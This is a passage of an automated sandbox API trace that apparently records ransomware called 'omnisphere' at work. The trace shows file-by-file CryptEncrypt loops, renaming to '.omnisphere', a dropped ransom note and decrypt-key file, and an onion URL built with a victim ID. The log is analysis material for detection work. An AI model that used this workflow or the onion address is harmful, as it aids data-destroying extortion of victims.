CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.298] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.298] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.298] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.298] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.298] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.298] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.298] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.298] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.298] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.298] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.298] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.298] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.298] CryptDestroyKey (hKey=0x1639b68) returned 1 [0126.298] CryptReleaseContext (hProv=0x1668ce0, dwFlags=0x0) returned 1 [0126.298] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x508, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0126.298] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0126.298] GetProcessHeap () returned 0x1600000 [0126.298] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2bc) returned 0x16c9e28 [0126.299] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\jqcAEx4629aPNG4Ha.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\jqcaex4629apng4ha.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\jqcAEx4629aPNG4Ha.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\jqcaex4629apng4ha.lnk.omnisphere")) returned 1 [0126.299] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\jqcAEx4629aPNG4Ha.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\jqcAEx4629aPNG4Ha.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\jqcAEx4629aPNG4Ha.lnk.omnisphere.id" [0126.299] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\jqcAEx4629aPNG4Ha.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\jqcaex4629apng4ha.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0126.299] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0126.300] CloseHandle (hObject=0x3c0) returned 1 [0126.300] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0126.301] CloseHandle (hObject=0x288) returned 1 [0126.301] SetEndOfFile (hFile=0x28c) returned 1 [0126.301] FlushFileBuffers (hFile=0x28c) returned 1 [0126.303] CloseHandle (hObject=0x28c) returned 1 [0126.303] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\jqcAEx4629aPNG4Ha.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0126.303] GetProcessHeap () returned 0x1600000 [0126.303] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16cd020 [0126.303] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0126.303] GetProcessHeap () returned 0x1600000 [0126.304] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16b1be0 [0126.304] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16b1be0, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0126.304] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0126.304] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0126.304] GetProcessHeap () returned 0x1600000 [0126.304] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16b0108 [0126.304] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16b0108, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0126.304] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0126.304] GetProcessHeap () returned 0x1600000 [0126.304] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16bf5e0 [0126.304] PathCombineW (in: pszDest=0x16bf5e0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0126.304] GetProcessHeap () returned 0x1600000 [0126.304] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16d1500 [0126.304] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.304] WriteFile (in: hFile=0x28c, lpBuffer=0x16d1500*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16d1500*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0126.304] CloseHandle (hObject=0x28c) returned 1 [0126.304] GetProcessHeap () returned 0x1600000 [0126.304] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16cd020 | out: hHeap=0x1600000) returned 1 [0126.304] GetProcessHeap () returned 0x1600000 [0126.305] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0126.305] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0126.305] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.305] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0126.305] CloseHandle (hObject=0x28c) returned 1 [0126.305] GetProcessHeap () returned 0x1600000 [0126.305] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0126.305] GetProcessHeap () returned 0x1600000 [0126.305] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16bef68 | out: hHeap=0x1600000) returned 1 [0126.305] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2183848a, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2183848a, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2183848a, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x61e, dwReserved0=0x0, dwReserved1=0xd3, cFileName="jy95-IFwT0kVEQ-TLBL.lnk", cAlternateFileName="JY95-I~1.LNK")) returned 1 [0126.305] GetProcessHeap () returned 0x1600000 [0126.305] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16bf808 [0126.305] PathCombineW (in: pszDest=0x16bf808, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="jy95-IFwT0kVEQ-TLBL.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\jy95-IFwT0kVEQ-TLBL.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\jy95-IFwT0kVEQ-TLBL.lnk" [0126.305] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0126.305] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\jy95-IFwT0kVEQ-TLBL.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\jy95-ifwt0kveq-tlbl.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.306] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=1566) returned 1 [0126.306] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xfa, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0126.306] ReadFile (in: hFile=0x28c, lpBuffer=0x3e0d274, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0d7bc, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesRead=0x3e0d7bc*=0x524, lpOverlapped=0x0) returned 1 [0126.306] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x61e, lpName=0x0) returned 0x288 [0126.306] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x1480000 [0126.306] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0126.306] CloseHandle (hObject=0x288) returned 1 [0126.306] GetTickCount () returned 0x115f856 [0126.306] GetTickCount () returned 0x115f856 [0126.306] GetTickCount () returned 0x115f856 [0126.306] GetTickCount () returned 0x115f856 [0126.306] GetTickCount () returned 0x115f856 [0126.306] GetTickCount () returned 0x115f856 [0126.306] GetTickCount () returned 0x115f856 [0126.306] GetTickCount () returned 0x115f856 [0126.306] GetTickCount () returned 0x115f856 [0126.306] GetTickCount () returned 0x115f856 [0126.306] GetTickCount () returned 0x115f856 [0126.306] GetTickCount () returned 0x115f856 [0126.306] GetTickCount () returned 0x115f856 [0126.306] GetTickCount () returned 0x115f856 [0126.306] GetTickCount () returned 0x115f856 [0126.306] GetTickCount () returned 0x115f856 [0126.307] GetTickCount () returned 0x115f856 [0126.307] GetTickCount () returned 0x115f856 [0126.307] GetTickCount () returned 0x115f856 [0126.307] GetTickCount () returned 0x115f856 [0126.307] GetTickCount () returned 0x115f856 [0126.307] GetTickCount () returned 0x115f856 [0126.307] GetTickCount () returned 0x115f856 [0126.307] GetTickCount () returned 0x115f856 [0126.307] GetTickCount () returned 0x115f856 [0126.307] GetTickCount () returned 0x115f856 [0126.307] GetTickCount () returned 0x115f856 [0126.307] GetTickCount () returned 0x115f856 [0126.307] GetTickCount () returned 0x115f856 [0126.307] GetTickCount () returned 0x115f856 [0126.307] GetTickCount () returned 0x115f856 [0126.307] GetTickCount () returned 0x115f856 [0126.307] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1668c58) returned 1 [0126.307] CryptImportKey (in: hProv=0x1668c58, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x16394e8) returned 1 [0126.308] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0126.308] CryptDestroyKey (hKey=0x16394e8) returned 1 [0126.308] CryptReleaseContext (hProv=0x1668c58, dwFlags=0x0) returned 1 [0126.308] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x61e, lpName=0x0) returned 0x288 [0126.308] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x61e) returned 0x1480000 [0126.308] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1669230) returned 1 [0126.309] CryptImportKey (in: hProv=0x1669230, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639b68) returned 1 [0126.309] CryptSetKeyParam (hKey=0x1639b68, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0126.309] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0126.309] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.309] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.309] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.309] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.309] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.309] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.309] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.309] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.309] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.309] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.309] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.309] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.309] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.309] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.310] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.310] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.310] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.310] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.310] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.310] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.310] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.310] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.310] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.310] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.310] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.310] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.310] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.310] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.310] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.310] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.310] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.310] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.310] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.310] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.310] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.310] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.310] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.311] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, 